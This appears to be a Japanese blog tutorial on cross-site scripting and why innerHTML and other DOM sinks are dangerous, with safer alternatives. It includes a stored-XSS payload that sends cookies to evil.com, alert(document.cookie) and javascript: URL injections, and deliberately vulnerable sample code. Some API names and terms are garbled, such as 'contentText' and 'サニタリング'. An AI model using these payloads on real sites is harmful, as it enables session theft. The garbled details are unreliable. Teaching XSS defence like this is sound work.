【JavaScript】悪意あるスクリプトとは何か?innerHTMLを使ってはいけない理由|XSS(クロスサイトスクリプティング)を実例で解説

javascript-prograshi(プロぐらし)-kv JavaScript
記事内に広告が含まれていることがあります。

WEBサイトを作成しているときによく「悪意のあるスクリプト」「XSS(クロスサイトスクリプティング)を避けなければいけない」「innerHTMLを使ってはいけない」といったことを耳にするかと思います。

ですが

  • 具体的に「悪意のあるスクリプトとは何か?」
  • 「なぜinnerHTMLを使ってはいけないのか?」
  • 「XSSは他人がスクリプトを埋め込むことだけど、具体的にどんなことをされて、何が危険なの?」

といった疑問を持っている人も多いのではないでしょうか?

この記事では、そういった疑問に対して実例でお答えします。


悪意のあるスクリプトとは何か?

そもそもですが悪意のあるスクリプトとは、攻撃者が意図的にユーザーの妨害や情報を盗むためのプログラムのことです。プログラムは主にJavaScriptの事を指します。

悪意あるスクリプトには例えば以下のような目的があります。

悪意あるスクリプトの目的
  • ログイン中のクッキー情報を盗まれる
  • ユーザーになりすまして投稿や操作される
  • 偽のフォームやボタンでパスワードを抜き取られる
  • 画面を書き換えて詐欺ページのように見せる

つまり、フィッシングサイトのようなことが実行されてしまうリスクがあるということです。


ログインパスワードやユーザーIDが盗まれる?

ログインパスワードやユーザーIDが盗まれることはほとんどの場合ありません

一般的なきちんとしたWEBサイトであれば、パスワードやユーザーIDをブラウザではなくデータベース上にハッシュ化(暗号化)して保存するためです。

ただし、ブラウザのセッション情報(クッキー)にパスワードやユーザーIDを直接保存するWEBサイトの場合は情報が読み取られてしまいます。

また、攻撃者が正規のログインフォームそっくりの偽フォームをウェブサイト上に表示させ、ユーザーがそこにパスワードを入力してしまった場合、入力したデータが攻撃者に送られるリスクがあります(フィッシングサイトのようなもの)


個人情報が抜き取られる可能性がある

クッキーには、セッションIDと呼ばれる情報が含まれていることがあります。

これは、ウェブサイトが「このブラウザはログイン中のユーザーである」と識別するための「鍵」のようなものです。

攻撃者は、このセッションIDを含むクッキーを盗むことで、正規のユーザーになりすまし、そのアカウントにアクセスできるようになります

これにより、ユーザーIDやパスワードを知らなくても、アカウント内の情報(個人情報、購入履歴、設定など)を閲覧・変更したり、不正な操作を行ったりすることが可能になります


XSS(クロスサイトスクリプティング)とは何か?

XSS(クロスサイトスクリプティング)とは、上記のように、攻撃者がWebサイトに悪意のあるスクリプト(通常はJavaScript)を埋め込み、そのサイトを閲覧したユーザーのブラウザ上でスクリプトを実行させる行為です。


XSSの由来|なぜクロスサイトスクリプティングというのか?

クロスサイト(Cross Site)の由来

クロスサイト(Cross Site)とは2つのサイトをまたぐという意味です。

初期に発見されたXSS攻撃では、攻撃者が用意した悪意のあるサイト(罠サイト)と、脆弱性のある正規のサイト(標的サイト)を使って攻撃が実行されることが多かったことから名付けられました。

具体的には、攻撃者は悪意のあるスクリプトを仕込んだURLをユーザーにクリックさせます。すると、URLをクリックしたユーザーのブラウザ上で標的サイトのドメインからスクリプトが実行されるという仕組みでした。

この「別のサイトから別のサイトへ」という動きが、「クロスサイト」という言葉で表現されています。


スクリプティング(Scripting)の由来

XSS攻撃で使われる悪意のあるコードは、主にJavaScriptなどのクライアントサイドで動作するスクリプト言語で書かれています。そのため、「スクリプティング」という言葉が使われています。


なぜ「XSS」と略されるのか

「Cross Site Scripting」を略すと「CSS」になりますが、これはウェブサイトの見た目(デザイン)を定義するCSS(Cascading Style Sheets)と同じになってしまいます。

そのため、区別のために「XSS」という略称が一般的に使われるようになりました。



XSSの実例

ここでは簡単なXSSの実例を紹介します。

反射型XSS(Reflected XSS)

反射型XSS(Reflected XSS)とは、初期の頃に横行したXSSで、攻撃者が用意した「罠のURL」をユーザーにクリックさせることで成立します。

通常ECサイトでは、パラメータで指定されたキーワードを検索結果として表示します。

例えば以下のURLを叩くと、検索ページで「Tシャツ」の検索結果が表示されます。

https://example.com/search?keyword=Tシャツ


ECサイトに脆弱性があり、パラメータで渡されたコードをそのまま実行できてしまう場合、そこをうまく利用したXSSです。

例えば、以下のようなURLをクリックするとJavaScriptが実行されてしまいます。

https://example.com/search?keyword=<script>alert('XSS攻撃成功!');</script>

上記の例のコードは簡易的に「XSS攻撃成功!」というポップアップをただ表示するもので大きな害はありません。

ですが、偽のパスワード入力画面を表示させて、入力内容を攻撃者に送信させるといったことがあります。


格納型XSS(Stored XSS)

格納型XSS(Stored XSS)とは、攻撃者が掲示板の投稿やコメント欄、プロフィール情報など、Webサイトのデータベースに保存される場所に悪意のあるスクリプトを埋め込みます。

この場合、被害者がURLをクリックする必要はなく、単にそのページにアクセスするだけでスクリプトが実行されます

被害が広範囲に及ぶ可能性があり、反射型よりも深刻な攻撃とされています。

例えば、掲示板に脆弱性があり、入力したコードがそのまま表示されてしまう場合、コメントの一つに以下のようなコードを埋め込むことができます。

<script>
fetch("https://evil.com/steal?cookie=" + document.cookie);
</script>

ページを開くと裏側でクッキー(セッション情報など)が、攻撃者に自動で送られてしまいます。


なぜinnerHTMLを使ってはいけないのか?

WEBサイトを作るときに、ユーザーの入力した情報を取得したい場合があります。このときに、JavaScriptのinnerHTMLプロパティを使うと、入力した内容をそのままHTMLとして解釈します

掲示板などで、投稿内容の入力ボックスに入力された内容を取得する際に「innerHTML」を使っていると、コードがそのまま入力されます。

他の人がそのページを開くと、コメントに記述されたコードがアクセスした人のブラウザ上で勝手に実行されてしまいます。


innerHTMLの実例

例えば以下のようなコードは危険です。

<input id="name" placeholder="お名前を入力">
<button onclick="greet()">挨拶する</button>
<div id="output"></div>

<script>
function greet() {
  const name = document.getElementById("name").value;
  // ⚠️ innerHTML でそのまま代入
  document.getElementById("output").innerHTML = "こんにちは、" + name + "さん!";
}
</script>


▼上記がWEBサイトに表示された場合のイメージ(コードは読込みません。見た目の参考です)


対処法1(contentTextやinnerText)

悪意あるスクリプトを防ぐには、入力内容をHTMLとしてではなく、ただの文字列として表示することが大事です。

このため、innerHTMLではなく、contentTextやinnerTextを使います。

textContentやinnerTextは、与えられた文字列に含まれるHTMLタグを無効化します。コードとしてではなく文字列として扱います。

<script>
function greet() {
  const name = document.getElementById("name").value;
  document.getElementById("output").textContent = "こんにちは、" + name + "さん!";
}
</script>


例えば、以下のように入力したとします。

<script>alert("XSS!");</script>

すると、HTMLは をエスケープした文字で認識します。

<div id="target"><script>alert("XSS!");</script></div>

このため画面上には <script>lert("XSS!");</script> という文字列が表示されます。


対処法2(サニタリング)

Vue.jsやRect.jsなどのフレームワークを使用する場合、 「フレームワークやテンプレートエンジンが自動でHTMLの危険な部分を無効化してくれる仕組み」があります。

これをサニタリングといいます。

つまり「サニタリング」とは「innerHTMLみたいにそのまま描画せず、XSS攻撃を防ぐための安全処理(エスケープ)を自動で行う」 という意味です。

注意点

Vue.jsやRect.jsでもXSSのリスクを含むコードは存在します。

・Reactの場合
dangerouslySetInnerHTML を使うとXSSの危険があります。名前の通り危険なので、むやみに使わないのが鉄則です。

・Vueの場合
VueでHTMLを意図的に描画したい場合は v-html を使います。ですがXSSリスクがあるので注意が必要です。


XSSで狙われる危険なスクリプト(document.write, document.writeln, evalなど )

なお、innerHTML以外にも、入力されたコードをそのまま実行してしまう危険なコードがいくつかあります。

1. document.write() / document.writeln()

innerHTMLと同様に、与えられた文字列をそのままHTMLとしてページに出力する危険な関数です。

事例: URLのパラメータをそのまま表示するページで、以下のようなJavaScriptコードが使われている場合。

// URLのクエリパラメータを取得
const q = new URLSearchParams(location.search).get('q');
// 取得した文字列をそのままページに書き込む
document.write('<p>検索結果: ' + q + '</p>');

このコードでは、q<h1>検索結果: <script>alert(document.cookie)</script></h1>のようなスクリプトが含まれると、それがそのままHTMLとして実行されてしまいます。

2. eval

文字列をJavaScriptコードとして解釈し実行する関数です。非常に強力なため、安易にユーザー入力に使うと深刻な脆弱性になります。

事例: ユーザーの入力に基づいて動的に関数を実行するような、以下のようなコード。

// ユーザーが入力したコマンドを実行
const command = prompt("コマンドを入力してください");
eval(command);

ユーザーがalert(document.cookie)と入力すると、そのまま実行されてしまいます。


3. setTimeout() / setInterval()

指定された時間後に、文字列をJavaScriptコードとして実行します。第一引数にユーザー入力を直接渡すと危険です。

事例: URLパラメータに基づいて、動的に実行する処理を変えるコード。

// URLのハッシュ値をコードとして実行
const code = location.hash.substr(1);
setTimeout(code, 1000);

ユーザーが#alert(document.cookie)というURLでアクセスすると、1秒後にスクリプトが実行されます。


4. element.setAttribute()

HTML要素の属性値を設定する関数です。onclickonloadのようなイベントハンドラ属性に悪意のあるコードを設定される可能性があります。

事例: URLパラメータから画像ファイルのURLを取得して、画像のsrc属性を設定するコード。

const image = document.createElement('img');
// ユーザー入力からimgタグのsrc属性を設定
image.setAttribute('src', new URLSearchParams(location.search).get('img'));
document.body.appendChild(image);

はい、innerHTML以外にも、XSS攻撃に利用される(脆弱性の原因となる)JavaScriptのコードは多数存在します。これらの危険な関数やAPIは「シンク(Sink)」と呼ばれます。

シンクとは、攻撃者が制御できるデータ(ソース)を受け取って、動的にHTMLを生成したり、JavaScriptとして実行したりするDOMオブジェクトやJavaScript関数のことです。

以下に、innerHTML以外でXSSに悪用される主なコードを、事例とともにご紹介します。


5. DOMのsrcやhref属性

scriptタグのsrcaタグのhrefiframesrcなどに、ユーザー入力をそのまま設定すると、XSSにつながることがあります。

事例: ユーザーが入力したURLへのリンクを作成するコード。

const link = document.createElement('a');
// URLパラメータからhref属性を設定
link.href = new URLSearchParams(location.search).get('url');
link.textContent = 'こちらをクリック';
document.body.appendChild(link);

ユーザーが?url=javascript:alert(document.cookie)というURLでアクセスすると、作成されたリンクをクリックしたときにスクリプトが実行されます。


6. jQueryの$()や.html()

DOM操作ライブラリのjQueryも、使い方を誤るとXSSの原因になります。

  • $.html(): innerHTMLと同様の機能を持つため、XSS脆弱性の原因となります。
  • $(): ユーザー入力をセレクタとして直接渡すと、予期せぬHTML要素が生成される場合があります。



まとめ

innerHTMLは最も典型的な例ですが、XSSは「ユーザーが制御できるデータが、無害化されずに、ブラウザがコードとして解釈する場所に渡される」という基本的なパターンで発生します。

そのため、上記のようなHTMLやJavaScriptを動的に生成・実行するAPIを使う際には、常にユーザー入力のサニタイズ(無害化)やエスケープ処理を徹底することが不可欠です。

タイトルとURLをコピーしました